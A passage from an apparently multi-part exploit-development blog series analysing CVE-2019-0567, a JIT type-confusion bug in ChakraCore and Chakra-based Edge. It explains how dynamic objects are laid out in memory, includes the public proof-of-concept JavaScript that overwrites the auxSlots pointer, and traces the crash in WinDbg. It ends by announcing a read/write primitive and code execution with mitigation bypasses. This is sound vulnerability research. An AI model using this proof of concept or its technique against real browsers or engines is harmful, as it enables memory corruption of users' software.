  2. git clone https://github.com/Microsoft/ChakraCore.git
  3. cd ChakraCore
  4. git checkout 331aa3931ab69ca2bd64f7e020165e693b8030b5 (this is the commit hash associated with the vulnerability)

After ChakraCore is downloaded, and the vulnerable commit “checked out”, we need to configure ChakraCore to compile with Control Flow Guard (CFG). To do this, go to the ChakraCore folder and open the Build directory. In there, you will see a Visual Studio Solution file. Double-click and select “Visual Studio 2017” (this is not a “required” step, but we want to add CFG as a mitigation we have to eventually bypass!).

Note that when Visual Studio opens it will want you to sign in with an account. You can bypass this by telling Visual Studio you will do it later, and you will then get 30 days of unfettered access.

At the top of the Visual Studio window, select x64 as such. Make sure to leave Debug as is.

After selecting x64, click Project > Properties in Visual Studio to configure ChakraCore properties. From here, we want to select C/C++ > All Options and turn on Control Flow Guard. Then, press Apply then Ok.

Click File > Save All in Visual Studio to save all of our changes to the solution.

We now need to open up a x64 Native Tools Command Prompt for VS 2017 prompt. To do this, hit the Windows key and start typing in x64 Native Tools Command.

Lastly, we need to actually build the project by executing the following the command: msbuild /m /p:Platform=x64 /p:Configuration=Debug Build\Chakra.Core.sln (note that if you do not use a x64 Native Tools Command Prompt for VS 2017 prompt, msbuild won’t be a valid command).

These steps should have installed ChakraCore on your machine. We can validate this by opening up a new cmd.exe prompt and executing the following commands:

  1. cd C:\path\to\ChakraCore
  2. cd Build\VcBuild\bin\x64_debug\
  3. ch.exe --version

We can clearly see that the ChakraCore shell is working, and the ChakraCore engine (chakracore.dll) is present! Now that we have Edge and ChakraCore installed, we can begin our analysis by examining how JavaScript objects are laid out in memory within Chakra/ChakraCore and then exploitation!

JavaScript Objects - Chakra/ChakraCore Edition

The first key to understanding modern vulnerabilities, such as type confusion, is understanding how JavaScript objects are laid out in memory. As we know, in a programming language like C, explicit data types are present. int var and char* string are two examples - the first being an integer and the second being an array of characters, or chars. However, in ChakraCore, objects can be declared as such: var a = {o: 1, b: 2} or a = "Testing". How does JavaScript know how to treat/represent a given object in memory when there is no explicit data type information? This is the job of ChakraCore - to determine the type of object being used and how to update and manage it accordingly.

All the information I am providing, about JavaScript objects, is from this blog, written by a developer of Chakra. While the linked blog focuses on both “static” and “dynamic” objects, we will be focusing on specifically how ChakraCore manages dynamic objects, as static objects are pretty straight forward and are uninteresting for our purposes.

So firstly, what is a dynamic object? A dynamic object is pretty much any object that can’t be represented by a “static” object (static objects consists of data types like numbers, strings, and booleans). For example, the following would be represented in ChakraCore as a dynamic object:

let dynamicObject = {a: 1, b:2};
dynamicObject.a = 2;			// Updating property a to the value of 2 (previously it was 1)
dynamicObject.c = "string";		// Adding a property called c, which is a string

print(dynamicObject.a);			// Print property a (to print, ChakraCore needs to retrieve this property from the object)
print(dynamicObject.c);			// Print property c (to print, ChakraCore needs to retrieve this property from the object)

You can see why this is treated as a dynamic object, instead of a static one. Not only are two data types involved (property a is a number and property c is a string), but they are stored as properties (think of C-structures) in the object. There is no way to account for every combination of properties and data types, so ChakraCore provides a way to “dynamically” handle these situations as they arise (a la “dynamic objects”).

ChakraCore has to treat these objects different then, say, a simple let a = 1 static object. This “treatment” and representation, in memory, of a dynamic object is exactly what we will focus on now. Having said all of that - exactly how does this layout look? Let’s cite some examples below to find out.

Here is the JavaScript code we will use to view the layout in the debugger:

print("DEBUG");
let a = {b: 1, c: 2};

What we will do here is save the above code in a script called test.js and set a breakpoint on the function ch!WScriptJsrt::EchoCallback within ch.exe. The EchoCallback function is responsible for print() operations, meaning this is synonymous with setting a breakpoint in ch.exe to break every time print() is called (yes, we are using this print statement to aid in debugging). After setting the breakpoint, we can resume execution and break on EchoCallback.

Now that we have hit our breakpoint, we know that anything that happens after this point should involve the JavaScript code after the print() statement from test.js. The reason we do this is because the next function we are going to inspect is constantly called in the background, and we want to ensure we are just checking the specific function call (coming up next) that corresponds to our object creation, to examine it in memory.

Now that we have reached the EchoCallback breakpoint, we need to now set a breakpoint on chakracore!Js::DynamicTypeHandler::SetSlotUnchecked. Note that chakracore.dll isn’t loaded into the process space upon ch.exe executing, and is only loaded after our previous execution.

Once we hit chakracore!Js::DynamicTypeHandler::SetSlotUnchecked, we can finally start examining our object. Since we built ChakraCore locally, as well, we have access to the source code. Both WinDbg and WinDbg Preview should populate the source upon execution on this function.

This code may look a bit confusing. That is perfectly okay! Just know this function is responsible for filling out dynamic objects with their needed property values (in this case, values provided by us in test.js via a.b and a.c).

Right now the object we are dealing with is in the RCX register (per __fastcall we know RCX is the DynamicObject * instance parameter in the source code). This can be seen in the next image below. Since the function hasn’t executed yet, this value in RCX is currently just a blank “skeleton” a object waiting to be filled.

We know that we are setting two values in the object a, so we need to execute this function twice. To do this, let’s first preserve RCX in the debugger and then execute g once in WinDbg, which will set the first value, and then we will execute the function again, but this time with the command pt to break before the function returns, so we can examine the object contents.

Perfect. After executing our function twice, but just before the function returns, let’s inspect the contents of what was previously held in RCX (our a object).

The first thing that stands out to us is that this is seemingly some type of “structure”, with the first 0x8 bytes holding a pointer to the DynamicObject virtual function table (vftable). The second 0x8 bytes seem to be some pointer within the same address space we are currently executing in. After this, we can see our values 1 and 2 are located 0x8 and 0x10 bytes after the aforementioned pointer (and 0x10/0x18 bytes from the actual beginning of our “structure”). Our values also have a seemingly random 1 in them. More on this in a moment.

Recall that object a has two properties: b (set to 1) and c (set to 2). They were declared and initialized “inline”, meaning the properties were assigned a value in the same line as the object actually being instantiated (let a = {b: 1, c: 2}). Dynamic objects with inlined-properties (like in our case) are represented as follows:

Note that the property values are written to the dynamic object at an offset of 0x10.

If we compare this prototype to the values from WinDbg, we can confirm that our object is a dynamic object with inlined-properties! This means the previous seemingly “random” pointer after the vftable is actually the address of data structure known as a type in ChakraCore. type isn’t too important to us, from an exploitation perspective, other than we should be aware this address contains data about the object, such as knowing where properties are stored, the TypeId (which is an internal representation ChakraCore uses to determine if the object is a string, number, etc.), a pointer to the JavaScript library, and other information. All information can be found in the ChakraCore code base.

Secondly, let’s go back for a second and talk about why our property values have a random 1 in the upper 32-bits (001000000000001). This 1 in the upper 32-bits is used to “tag” a value in order to mark it as an integer in ChakraCore. Any value that is prepended with 00100000 is an integer in ChakraCore. How is this possible? This is because ChakraCore, and most JavaScript engines, only allow 32-bit values, excluding pointers (think of integers, floats, etc.). However, an example of an object represented via a pointer would be a string, just like in C where a string is an array of characters represented by a pointer. Another example would be declaring something like an ArrayBuffer or other JavaScript object, which would also be represented by a pointer.

Since only the lower 32-bits of a 64-bit value (since we are on a 64-bit computer) are used, the upper 32-bits (more specifically, it is really only the upper 17-bits that are used) can be leveraged for other purposes, such as this “tagging” process. Do not over think this, if it doesn’t make sense now that is perfectly okay. Just know JavaScript (in ChakraCore) uses the upper 17-bits to hold information about the data type of the object (or proerty of a dynamic object in this case), excluding types represented by pointers as we mentioned. This process is actually referred to as “NaN-boxing”, meaning the upper 17-bits of a 64-bit value (remember we are on a 64-bit system) are reserved for providing type information about a given value. Anything else that doesn’t have information stored in the upper 17-bits can be treated as a pointer.

Let’s now update our test.js to see how an object looks when inline properties aren’t used.

print("DEBUG");
let a = {};
a.b = 1;
a.c = 2;
a.d = 3;
a.e = 4;

What we will do here is restart the application in WinDbg, clear the second breakpoint (the breakpoint on chakracore!Js::DynamicTypeHandler::SetSlotUnchecked), and then let execution break on the print() operation again.

After landing on the print() breakpoint, we will now re-implement the breakpoint on chakracore!Js::DynamicTypeHandler::SetSlotUnchecked, resume execution to hit the breakpoint, examine RCX (where our dynamic object should be, if we recall from the last object we debugged), and execute the SetSlotUnchecked function to see our property values get updated.

Now, according to our debugging last time, this should be the address of our object in RCX. However, taking a look at the vftable in this case we can see it points to a GlobalObject vftable, not a DynamicObject vftable. This is indicative the breakpoint was hit, but this isn’t the object we created. We can simply just hit g in the debugger again to see if the next call will act on our object. Finding this out is simply just a matter of trial and error by looking in RCX to see if the vftable comes from DynamicObject. Another good way to identify if this is our object or not is to see if everything else in the object, outside of the vftable and type, are set to 0. This could be indicative this was newly allocated memory and isn’t filled out as a “full” dynamic object with property values set.

Pressing g again, we can see now we have found our object. Notice all of the memory outside of the vftable and type is initialized to 0, as our property values haven’t been set yet.

Here we can see a slightly different layout. Where we had the value 1 last time, in our first “inlined” property, we now see another pointer in the same address space as type. Examining this pointer, we can see the value is 0.

Let’s press g in WinDbg again to execute another call to chakracore!Js::DynamicTypeHandler::SetSlotUnchecked to see how this object looks after our first value is written (1) to the object.

Interesting! This pointer, after type (where our “inlined” dynamic object value previously was), seems to contain our first value of a.b = 1!

Let’s execute g two more times to see if our values keep getting written to this pointer.

We can clearly see our values this time around, instead of being stored directly in the object, are stored in a pointer under type. This pointer is actually the address of an array known in ChakraCore as auxSlots. auxSlots is an array that is used to hold property values of an object, starting at auxSlots[0] holding the first property value, auxSlots[1] holding the second, and so on. Here is how this looks in memory.

The main difference between this and our previous “inlined” dynamic object is that now our properties are being referenced through an array, versus directly in the object “body” itself. Notice, however, that whether a dynamic object leverages the auxSlots array or inlined-properties - both start at an offset of 0x10 within a dynamic object (the first inline property value starts at dynamic_object+0x10, and auxSlots also starts at an offset of 0x10).

The ChakraCore codebase actually has a diagram in the comments of the DynamicObject.h header file with this information.

However, we did not talk about “scenario #2” in the above image. We can see in #2 that it is also possible to have a dynamic object that not only has an auxSlots array which contain property values, but also inlined-properties set directly in the object. We will not be leveraging this for exploitation, but this is possible if an object starts out with a few inlined-properties and then later on other value(s) are added. An example would be:

let a = {b: 1, c: 2, d: 3, e: 4};
a.f = 5;

Since we declared some properties inline, and then we also declared a property value after, there would be a combination of property values stored inline and also stored in the auxSlots array. Again, we will not be leveraging this memory layout for our purposes but it has been provided in this blog post for continuity purposes and to show it is possible.

CVE-2019-0567: An Analysis of a Browser-Based Type Confusion Vulnerability

Building off of our understanding of JavaScript objects and their layout in memory, and with our exploit development environment configured, let’s now put these theories in practice.

Let’s start off by executing the following JavaScript in ch.exe. Save the following JavaScript code in a file named poc.js and run the following command: ch.exe C:\Path\to\poc.js. Please note that the following proof-of-concept code comes from the Google Project Zero issue, found here. Note that there are two proofs-of-concepts here. We will be using the latter one (PoC for InitProto).

function opt(o, proto, value) {
    o.b = 1;

    let tmp = {__proto__: proto};

    o.a = value;
}

function main() {
    for (let i = 0; i < 2000; i++) {
        let o = {a: 1, b: 2};
        opt(o, {}, {});
    }

    let o = {a: 1, b: 2};

    opt(o, o, 0x1234);

    print(o.a);
}

main();

As we can see from the image above, when our JavaScript code is executed, an access violation occurs! This is likely due to invalid memory being accessed. Let’s execute this script again, but this time attached to WinDbg.

Executing the script, we can see the offending instruction in regards to the access violation.

Since ChakraCore is open-sourced, we can also see the corresponding source code.

Moving on, let’s take a look at the disassembly of the crash.

We can clearly see an invalid memory address (in this case 0x1234) is being accessed. Obviously we can control this value as an attacker, as it was supplied by us in the proof-of-concept.

We can also see an array is being referenced via [rax+rcx*0x8]. We know this, as we can see in the source code an auxSlots array (which we know is an array which manages property values for a dynamic JavaScript object) is being indexed. Even if we didn’t have source code, this assembly procedure is indicative of an array index. RCX in this case would contain the base address of the array with RAX being the index into the array. Multiplying the value by the size of a 64-bit address (since we are on a 64-bit machine) allows the index to fetch a given address instead of just indexing base_address+1, base_address+2, etc.

Looking a bit earlier in the disassembly, we can see the the value in RCX, which should have been the base address of the array, comes from the value rsp+0x58.

Let’s inspect this address, under greater scrutiny.

Does this “structure prototype” look familiar? We can see a virtual function table for a DynamicObject, we see what seems to be a type pointer, and see the value of a property we provided in the poc.js script, 0x1234! Let’s cross-reference what we are seeing with what our script actually does.

First, a loop is created that will execute the opt() function 2000 times. Additionally, an object called o is created with properties a and b set (to 1 and 2, respectively). This is passed to the opt() function, along with two empty values of {}. This is done as such: opt(o, {}, {}).

    for (let i = 0; i < 2000; i++) {
        let o = {a: 1, b: 2};
        opt(o, {}, {});
    }

Secondly, the function opt() is actually executed 2000 times as opt(o, {}, {}). The below code snippet is what happens inside of the opt() function.

function opt(o, proto, value) {
    o.b = 1;

    let tmp = {__proto__: proto};

    o.a = value;
}

Let’s start with what happens inside the opt() function.

When opt(o, {}, {}) is executed the first argument, an object o (which is created before each function call as let o = {a: 1, b: 2};) has property b set to 1 (o.b = 1;) in the first line of opt(). After this, tmp (a function in this case) has its prototype set to whatever value was provided by proto.

In JavaScript, a prototype is a built-in property that can be assigned to a function. The purpose of it, for legitimate uses, is to provide JavaScript with a way to add new properties at a later stage, to a function, which will be shared across all instances of that function. Do not worry if this sounds confusing, we just need to know a prototype is a built-in property that can be attributed to a function. The function in this case is named tmp.

As a point of contention, executing let tmp = {__proto__: proto}; is the same as executing tmp.prototype = proto.

When opt(o, {}, {}) is executed, we are providing the function with two NULL values. Since proto, which is supplied by the caller, is set to a NULL value, the prototype property of the tmp function is set to 0. When this occurs in JavaScript, the corresponding function (tmp in this case) is created without a prototype. In essence, all opt() is doing is the following:

  1. Set o’s (provided by the caller) a and b properties
  2. b is set to 1 (it was initially 2 when the o object was created via let o = {a: 1, b: 2})
  3. A function named tmp is created, and its prototype property is set to 0, which essentially means create tmp without a prototype
  4. o.a is set to the value provided by the caller through the value parameter. Since we are executing the function as opt(o, {}, {}), the o.a property will also be 0

The above code is executed 2000 times. What this does is let the JavaScript engine know that opt() has become what is known as a “hot” function. A “hot” function is one that is recognized by JavaScript as being executed constantly (in this case, 2000 times). This instructs ChakraCore to have this function go through a process called Just-In-Time compilation (JIT), where the above JavaScript is converted from interpreted code (essentially byte code) to actually compiled as machine code, such as a C .exe binary. This is done to increase performance, as this function doesn’t have to go through the interpretation process (which is beyond the scope of this blog post) every time it is executed. We will come back to this in a few moments.

After opt() is called 2000 times (this also means opt continues to be optimized for subsequent future function calls), the following happens:

let o = {a: 1, b: 2};

opt(o, o, 0x1234);

print(o.a);

For continuity purposes, let’s also display opt() again.

function opt(o, proto, value) {
    o.b = 1;

    let tmp = {__proto__: proto};

    o.a = value;
}

Taking a look at the second snippet of code (not the above opt() function, but the snippet above that which calls opt() as opt(o, o, 0x1234)), we can see it starts out by declaring an object o again. Notice that object o is declared with inlined-properties. We know this will be represented in memory as a dynamic object.

After o is instantiated as a dynamic object with inlined-properties, it is passed to the opt() function in both the o and proto parameters. Additionally, a value of 0x1234 is provided.

When the function call opt(o, o, 0x1234) occurs, the o.b property is set to 1, just like last time. However, this time we are not supplying a blank prototype property, but we are supplying the o dynamic object (with inlined-properties) as the prototype for the function tmp. This essentially sets tmp.prototype = o;, and let’s JavaScript know the prototype of the tmp function is now the dynamic object o. Additionally, the o.a property (which was previously 1 from the o object instantiation) is set to value, which is provided by us as 0x1234. Let’s talk about what this actually does.

We know that a dynamic object o was declared with inlined-properties. We also know that these types of dynamic objects are laid out in memory, as seen below.

Skipping over the prototype now, we also can see that o.a is set. o.a was a property that was present when the object was declared, and is represented in the object directly, since is was declared inline. So essentially, here is how this should look in memory.

When the object is instantiated (let o = {a: 1, b: 2}):

When o.b and o.a are updated via the opt() function (opt(o, o, 0x1234):

We can see that JavaScript just acted directly on the already inlined-values of 1 and 2 and simply just overwrote them with the values provided by opt() to update the o object. This means that when ChakraCore updates objects that are of the same type (e.g. a dynamic object with inlined-properties), it does so without needing to change the type in memory and just directly acts on the property values within the object.

Before moving on, let’s quickly recall a snippet of code from the JavaScript dynamic object analysis section.

let a = {b: 1, c: 2, d: 3, e: 4};
a.f = 5;

Here a is created with many inlined-properties, meaning 1, 2, 3, and 4 are all stored directly within the a object. However, when the new property of a.f is added after the instantiation of the object a, JavaScript will convert this object to reference data via an auxSlots array, as the layout of this object has obviously changed with the introduction of a new property which was not declared inline. We can recall how this looks below.

This process is known as a type transition, where ChakraCore/Chakra will update the layout of a dynamic object, in memory, based on factors such as a dynamcic object with inlined-properties adding a new property which is not declared inline after the fact.

Now that we have been introduced to type transitions, let’s now come back to the following code in our analysis (opt() function call after the 2000 calls to opt() and o object creation)

let o = {a: 1, b: 2};

opt(o, o, 0x1234);

print(o.a);
function opt(o, proto, value) {
    o.b = 1;

    let tmp = {__proto__: proto};

    o.a = value;
}

We know that in the opt() function, o.a and o.b are updated as o.a = 0x1234 and o.b = 1;. We know that these properties should get updated in memory as such:

However, we didn’t talk about the let tmp = {__proto__: proto}; line.

Before, we supplied the value of tmp.prototype with a value of proto. In this case, this will perform the following:

tmp.prototype = o

This may seem very innocent at first, but this is actually where our vulnerability occurs. When a function has its prototype set (e.g. tmp.prototype = o) the object which will become the prototype (in this case, our object o, since it is assigned to tmp’s prototype property) has to first go through a type transition. This means that o will no longer be represented in memory with inlined-values and instead will be updated to use auxSlots to access properties for the object.

Before transition of o (o.b = 1 occurs before the type transition, so it is still updated inline):

After transition of o:

However, since opt() has gone through the JIT process, it has been turned into machine code. JavaScript interpreters normally perform various type checks before accessing a given property. These are known as guardrails. However, since opt() was marked as “hot”, it is now represented in memory as machine code, just how any other C/C++ binary is. The guardrails for typed checks are now gone. The reason they are gone is for a reason known as speculative JIT, where since the function was executed a great number of times (2000 in this case) the JavaScript engine can assume that this function call is only going to be called with the object types that have been seen thus far. In this case, since opt() has only see 2000 calls thus far as opt(o, {}, {}) it assumes that future calls will also only be called as such. However, on the 2001st call, after the function opt() has been compiled into machine code and lost the “guardrails”, we call the function as such opt(o, o, 0x1234).

The speculation that opt() is making is that o will always be represented in memory as an object with only inlined-properties. However, since the tmp function now has an actual prototype property (instead of a blank one of {}, which really is ignored by JavaScript and let’s the engine know tmp doesn’t have a prototype), we know this process performs a type transition on the object which is assigned as the prototype for the corresponding function (e.g. the prototype for tmp is now o. o must now undergo a type transition).

Since o now goes under a type transition, and opt() doesn’t consider that o could have gone through a type transition, a “type confusion” can, and does occur here. After o goes through a type transition, the o.a property is updated to 0x1234. The opt() function only knows that if it sees an o object, it should treat the properties as inline (e.g. set them directly in the object, right after the type pointer). So, since we set o.a to 0x1234 inside the opt() function, after it is “JIT’d”, opt() gladly write the value of 0x1234 to the first inlined-property (since o.a was the first property created, it is stored right under the type pointer). However, this has a devastating effect, because o is actually laid out in memory as having an auxSlots pointer, as we know.

So, when the o.a property is updated (opt() thinks the layout in memory is | vftable | type | o.a | o.b, when in reality it is | vftable | type | auxSlots |) opt() doesn’t know that o now stores properties via the auxSlots (which is stored at offset 0x10 within a dynamic object) and it writes 0x1234 to where it thinks it should go, and that is the first inlined-property (WHICH IS ALSO STORED AT offset 0x10 WITHIN A DYNAMIC OBJECT)!

opt() thinks it is updating o as such (because JIT speculation told the function o should always have inline properties):

However, since o is laid out in memory as a dynamic object with an auxSlots pointer, this is actually what happens:

The result of the “type confusion” is that the auxSlots pointer was corrupted with 0x1234. This is because the first inlined-property of a dynamic object is stored at the same offset in the dynamic object as another object that uses an auxSlots array. Since “no one” told opt() that o was laid out in memory as an object with an auxSlots array, it still thinks o.a is stored inline. Because of this, it writes to dynamic_object+0x10, the location where o.a used to be stored. However, since o.a is now stored in an auxSlots array, this overwrites the address of the auxSlots array with the value 0x1234.

Although this is where the vulnerability takes place, where the actual access violation takes place is in the print(o.a) statement, as seen below.

opt(o, o, 0x1234); 	// Overwrite auxSlots with the value 0x1234

print(o.a);			// Try to access o.a

The o object knows internally that it is now represented as a dynamic object that uses an auxSlots array to hold its properties, after the type transition via tmp.prototype. So, when o goes to access o.a (since the print() statement requires is) it does so via the “auxSlots” pointer. However, since the auxSlots pointer was overwritten with 0x1234, ChakraCore is attempting to dereference the memory address 0x1234 (because this is where the auxSlots pointer should be) in pursuit of o.a (since we are asking ChakraCore to retrieve said value for usage with print()).

Since ChakraCore is also open-sourced, we have access to the source code. WinDbg automatically populates the corresponding source code (which we have seen earlier). Referencing this, we can see that, in fact, ChakraCore is accessing (or attempting to) an auxSlots array.

We also know that auxSlots is a member of a dynamic object. Looking at the first parameter of the function where the access violation occurs (DynamicTypeHandler::GetSlot), we can see a variable named instance is passed in, which is of type DynamicObject. This instance is actually the address of our o object, which is also of DynamicObject. A value of index is also passed in, which is the index into the auxSlots array we want to fetch a value from. Since o.a is the first property of o, this would be at auxSlots[0]. This GetSlots function, therefore, is a function that is capable of retrieving a given property of an object which stores properties via auxSlots.

Although we know now exactly how our vulnerability works, it is still worthwhile setting some breakpoints to see the exact moment where auxSlots is corrupted. Let’s update our poc.js script with a print() debug statement.

function opt(o, proto, value) {
    o.b = 1;

    let tmp = {__proto__: proto};

    o.a = value;
}

function main() {
    for (let i = 0; i < 2000; i++) {
        let o = {a: 1, b: 2};
        opt(o, {}, {});
    }

    let o = {a: 1, b: 2};

    // Adding a debug print statement
    print("DEBUG");

    opt(o, o, 0x1234);

    print(o.a);
}

main();

Running the script in WinDbg, let’s first set a breakpoint on our print statement. This ensures any functions which act on a dynamic object should act on our object o.

Quickly, let’s reference the Google Project Zero original vulnerability disclosure issue here. The vulnerability description says the following:

NewScObjectNoCtor and InitProto opcodes are treated as having no side effects, but actually they can have via the SetIsPrototype method of the type handler that can cause transition to a new type. This can lead to type confusion in the JITed code.

We know here that InitProto is a function that will be executed, due to our setting of the tmp function’s .prototype property. As called out in the above snippet, this function internally invokes a method (function) called SetIsPrototype, which eventually is responsible to transitioning the type of the object used as the prototype for a function (in this case, it means o will be type-transitioned).

Knowing this, and knowing we want to see exactly where this type transition occurs, to confirm that this in fact is the case and ultimately how our vulnerability comes about, let’s set a breakpoint on this SetPrototype method within chakracore!Js::DynamicObject (since we are dealing with a dynamic object). Please note we are setting a breakpoint on SetPrototype instead of SetIsPrototype, as SetIsPrototype is eventually invoked within the call stack of SetPrototype. Calling SetPrototype eventually will call SetIsPrototype.

After hitting chakracore!Js::DynamicObject::SetPrototype, we can see that our o object, pre-type transition, is currently in the RDX register.

We know that we are currently executing within a function that at some point, likely as a result of an internal call within SetPrototype, will transition o from an object with inlined-properties to an object that represents its properties via auxSlots. We know that the auxSlots array is always located at offset 0x10 within a dynamic object. Since we know our object must get transitioned at some point, let’s set a hardware breakpoint to tell WinDbg to break when o+0x10 is written to at an 8 byte (1 QWORD, or 64-bit value) boundary to see exactly where the transition happens at in ChakraCore.

As we can see, WinDbg breaks within a function called chakracore!Js::DynamicTypeHandler::AdjustSlots. We can see more of this function below.

Let’s now examine the call stack to see how exactly execution arrived at this point.

Interesting! As we can see above, the InitProto function (called OP_InitProto) internally invokes a function called ChangePrototype which eventually invokes our SetPrototype function. SetPrototype, as we mentioned earlier, invokes the SetIsPrototype function referred to in the Google Project Zero issue. This function performs a chain of function calls which eventually lead execution to where we are currently, AdjustSlots.

As we also know, we have access to the source code of ChakraCore. Let’s examine where we are within the source code of AdjustSlots, where our hardware breakpoint broke.

We can see object (presumably our dynamic object o) now has an auxSlots member. This value is set by the value newAuxSlots. Where does newAuxSlots come from? Taking a look a bit further up in the previous image, we can see a value called oldInlineSlots, which is an array, is assigned to the value newAuxSlots.

This is very interesting, because as we know from our object o before the type transition, this object is one with inlined-properties! This function seems to convert an object with inlined-property values to one represented via auxSlots!

Let’s quickly recall the disassembly of AdjustSlots.

Looking above, we can see that above the currently executing instruction of mov rax, qword ptr [rsp+0F0h] is an instruction of mov qword [rax+10h], rcx. Recall that an auxSlots pointer is stored at an offset of 0x10 within a dynamic object. This instruction is very indicative that our o object is within RAX and the value at 0x10 (where o.a, the first inlined-property, was stored as the first inlined-property is always stored at dynamic_object+0x10 inside an object represented in this manner). This value is assigned the current value of RCX. Let’s examine this in the debugger.

Perfect! We can see in RCX our inlined-property values of o.a and o.b! These values are stored in a pointer, 000001229cd38200, which is the value in RCX. This is actually the address of our auxSlots array that will be assigned to our object o as a result of the type-transition! We can see this as RAX currently contains our o object, which has now been transitioned to an auxSlots variant of a dynamic object! We can confirm this by examining the auxSlots array located at o+0x10! Looking at the above image, we can see that our object was transitioned from an inlined-property represented object to one with properties held in an auxSlots array!

Let’s set one more breakpoint to confirm this 100 percent by watching the value, in memory, being updated. Let’s set a breakpoint on the mov qword [rax+10h], rcx instruction, and remove all other breakpoints (except our print() debugging breakpoint). We can easily do this by removing breakpoints and leveraging the .restart command in WinDbg to restart execution of ch.exe (please note that the below image bay be low resolution. Right click on it and open it ina new tab to view it if you have trouble seeing it).

After hitting the print() breakpoint, we can simply continue execution to our intended breakpoint by executing g.

We can see that in WinDbg, we actually break a few instructions before our intended breakpoint. This is perfectly okay, and we can set another breakpoint on the mov qword [rax+10h], rcx instruction we intend to examine.

We then can hit our next breakpoint to see the state of execution flow when the mov qword [rax+10h], rcx instruction is reached.

We then can examine RAX, our o object, before and after execution of the above instruction to see that our object is updated from an inlined-represented dynamic object to one that leverages an auxSlots array!

Examining the auxSlots array, we can see our a and b properties!

Perfect! We now know our o object is updated in memory, and its layout has changed. However, opt() isn’t aware of this type change, and will still execute the o.a = value (where value is 0x1234) instruction as though o hasn’t been type transitioned. opt() still thinks o is represented in memory as a dynamic object with inlined-properties! Since we know inlined-properties are also stored at dynamic_object+0x10, opt() will execute the o.a = value instruction as if our auxSlots array doesn’t exist (because it doesn’t know it does because the JIT-compilation process told opt() not to worry about what type o is!). This means it will directly overwrite our auxSlots pointer with a value of 0x1234! Let’s see this in action.

To do this, let’s clear all breakpoints and start a brand new, fresh instance of ch.exe in WinDbg by either leveraging .restart or just closing and opening WinDbg again. After doing so, set a breakpoint on our print() debug function, ch!WScriptJsrt::EchoCallback.

Let’s now set a breakpoint on the function we know performs the type-transition on our object, bp chakracore!Js::DynamicTypeHandler::AdjustSlots.

Let’s again examine the callstack.

Notice the memory address right before our call to OP_InitProto, which we have already examined. The address below is the address of the function which initiated a call to OP_InitProto, but we can see there is no corresponding symbol. If we perform !address on this memory address, we can also see that there is no corresponding image name or usage for this address.

What we are seeing is JIT in action. This memory address is the address of our opt() function. The reason why there are no corresponding symbols to this function, is because ChakraCore optimized this function into actual machine code. We no longer have to go through any of the ChakraCore functions/APIs used to set properties, update properties, etc. ChakraCore leveraged JIT to compile this function into machine code that can directly act on memory addresses, just like C does when you do something like below:

STRUCT_NAME a;

// Set a.Member1
a.Member1 = 0x1234;

The way this is achieved in Microsoft Edge is through a process known as out-of-process JIT compilation. The Edge “JIT server” is a separate process from the actual “renderer” or “content” process, which is the process a user interfaces with. When a function is JIT-compiled, it is injected into the content process from the JIT server (we will abuse this with an Arbitrary Code Guard (ACG) bypass in the third post. Note also that the ACG bypass we will use has since been patched as of Windows 10 RS4) after it is optimized.

Let’s now examine this function by setting a breakpoint on it (please note that the below image bay be low resolution. Right click on it and open it ina new tab to view it if you have trouble seeing it)..

Notice right off the bat we see our call to OP_InitProto, which is indicative that this is our opt() function. Additionally, see the below image. There are no JavaScript operators or ChakraCore functions being used. What we see is pure machine code, as a result of JIT.

More fatally, however, we can see that the R15 register is about to be operated on, at an offset of 0x10. This is indicative R15 holds our o object. This is because o.a = value is set after the OP_InitProto call, meaning that mov qword ptr [r15+10h], r13 is our o.a = value instruction. We also know value is 0x1234, so this is the value that should be in R13.

However, this is where our vulnerability occurs, as opt() doesn’t know o has been updated from representing properties inline to an auxSlots setup. Nor does it make an effort to perform a check on o, as this process has gone through the JIT process! The vulnerability here is that there is no type check in the JIT code, thus, a type confusion occurs.

After hitting our breakpoint, we can see that opt() still treats o as an object with properties stored inlined, and it gladly overwrites the auxSlots pointer with our user supplied value of 0x1234 via the o.a = 0x1234 instruction, because opt() still thinks o.a is located at o+0x10, as ChakraCore didn’t let opt() know otherwise, nor was there a check on the type before the operation! The type confusion reaches its pinnacle here, as an adversary can overwrite the auxSlots pointer with a controlled value!

If we clear all breakpoints and enter g in WinDbg, we can clearly see ChakraCore attempts to access o.a via print(o.a). When ChakraCore goes to fetch property o.a, it does so via auxSlots because of the type transition. However, since opt() corrupted this value, ChakraCore attempts to dereference the auxSlots spot in memory, which contains a value of 0x1234. This is obviously an invalid memory address, as ChakraCore was expecting the legitimate pointer in memory and, thus, an access violation occurs.

Conclusion

As we saw in the previous analysis, JIT compilation has performance benefits, but it also has a pretty large attack surface. So much so that Microsoft has a new mode on Edge called Super Duper Secure Mode which actually disables JIT so all mitigations can be enabled.

Thus far we have seen a full analysis on how we went from POC -> access violation and why this occurred, including configuring an environment for analysis. In part two we will convert out DOS proof-of-concept into a read/write primitive, and then an exploit by gaining code execution and also bypassing CFG within ch.exe. After gaining code execution in ch.exe, to more easily show how code execution is obtained, we will be shifting our focus to a vulnerable build of Edge, where we will also have to bypass ACG in part three. I will see you all at part two!

Peace, love, and positivity :-)

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)

16 March 2022 at 00:00

Introduction

In part one we went over setting up a ChakraCore exploit development environment, understanding how JavaScript (more specifically, the Chakra/ChakraCore engine) manages dynamic objects in memory, and vulnerability analysis of CVE-2019-0567 - a type confusion vulnerability that affects Chakra-based Microsoft Edge and ChakraCore. In this post, part two, we will pick up where we left off and begin by taking our proof-of-concept script, which “crashes” Edge and ChakraCore as a result of the type confusion vulnerability, and convert it into a read/write primtive. This primitive will then be used to gain code execution against ChakraCore and the ChakraCore shell, ch.exe, which essentially is a command-line JavaScript shell that allows execution of JavaScript. For our purposes, we can think of ch.exe as Microsoft Edge, but without the visuals. Then, in part three, we will port our exploit to Microsoft Edge to gain full code execution.

This post will also be dealing with ASLR, DEP, and Control Flow Guard (CFG) exploit mitigations. As we will see in part three, when we port our exploit to Edge, we will also have to deal with Arbitrary Code Guard (ACG). However, this mitigation isn’t enabled within ChakraCore - so we won’t have to deal with it within this blog post.

Lastly, before beginning this portion of the blog series, much of what is used in this blog post comes from Bruno Keith’s amazing work on this subject, as well as the Perception Point blog post on the “sister” vulnerability to CVE-2019-0567. With that being said, let’s go ahead and jump right into it!

ChakraCore/Chakra Exploit Primitives

Let’s recall the memory layout, from part one, of our dynamic object after the type confusion occurs.

